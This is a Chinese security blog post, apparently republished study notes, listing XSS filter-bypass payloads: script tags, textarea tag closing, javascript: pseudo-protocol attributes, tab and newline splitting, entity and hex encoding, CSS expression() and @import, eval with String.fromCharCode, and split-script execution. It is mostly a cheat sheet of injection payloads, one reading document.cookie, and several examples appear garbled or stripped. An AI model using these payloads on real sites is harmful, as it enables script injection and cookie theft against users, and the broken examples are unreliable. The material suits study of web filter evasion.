XSS绕过的常见方法

  • A+
所属分类:安全文章

我发些我在学习xss的一些笔记首先是测试使用的一些常用代码:



<script>alert('XSS test')</script>
“<script>alert('XSS test')</script>
<script>alert(document.cookie)</script>
javascript:alert(document.cookie);


<textarea>标签绕过:
后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内
那我们就可通过闭合标签绕过   </textarea><script>alert("xx")</script><textarea>

利用HTML标签执行XSS:【浏览器必须支持伪协议 如:IE6】
<img src="javascript:alert('xss')">    
<table background="javascript:alert('xss')"></table>
<a href="javascript:alert('xss')">点击触发</a>

空格回车TAB绕过:
<img src = "java script:alert('xss')">   中间的空格为TAB。
<img src="ja
vascript:alert('xss')">  通过回车分隔

XSS绕过的常见方法


ASCII转码:
<img src="javascr&#105pt:alert(/xxxx/)"> i的的ascii编码是&#105 此方法只能运用在HTML标签中

利用HTML中的事件触发XSS:
<img src="#"> 当src引用的图片不存在 触发onerror事件   (这也就是@m01lym0on 所用到的方法)
利用CSS跨站:
<div style="background-image:url(javascript:alert('sss'))">
<style>body{background-image:url(javascript:alert('saaa'))} ;</style>
<img src="#" style="xss:expression(alert('ssss'))">

如果style被禁:
<div style="list-style-image:url(javascript:alert('xxx'))">
<img style ="background-image:url(javascript:alert('sss'))">

外部引用含有XSS的CSS文件:
www.xxx.com/1.css里写入通过link引入
p{
     background-image:expression(alert('xss'))
}
在目标站通过link引入
<link rel="stylesheet" href="www.xxx.com/1.css">

通过@import直接执行javascript代码:
<style>@import “javascript:alert('sss')”;</style>

大小写混淆绕过:
<img src="#">

不用空格:
<img/src="javascript:alert('sss')">

通过全角字符绕过:
<div style="left:expression(alert('xx'))">

通过/**/,混淆过滤:
<img st/**/src ="javascript:alert('sssa')">
<style>@import "javascript:alert('sss')";</style>

利用字符编码绕过:
<img src="javascript:&#97;lert&#40;&#39;xxxx&#39;&#41;">  10进制转义
<img src="javascript:alert('xxxx')">     16进制转义

<script>eval("alert('xaaa')")</script>  通过eval()函数执行js
<script>eval("x61x6cx65x72x74x28x27x78x78x78x78x27x29")</script>  16进制转码后通过eval函数执行
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))">       eval()配合String.fromCharCode()函数执行10进制脚本


代码拆分执行:
    <script>z='javascript:'</script>
    <script>z=z+'alert(/xxss/)'</script>
    <script>eval(z)</script>    可绕过字符长度限制


-------------------------
以上都是在《XSS跨站脚本攻击剖析与防御》学习到的绕过方法

本文始发于微信公众号(飓风网络安全):XSS绕过的常见方法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: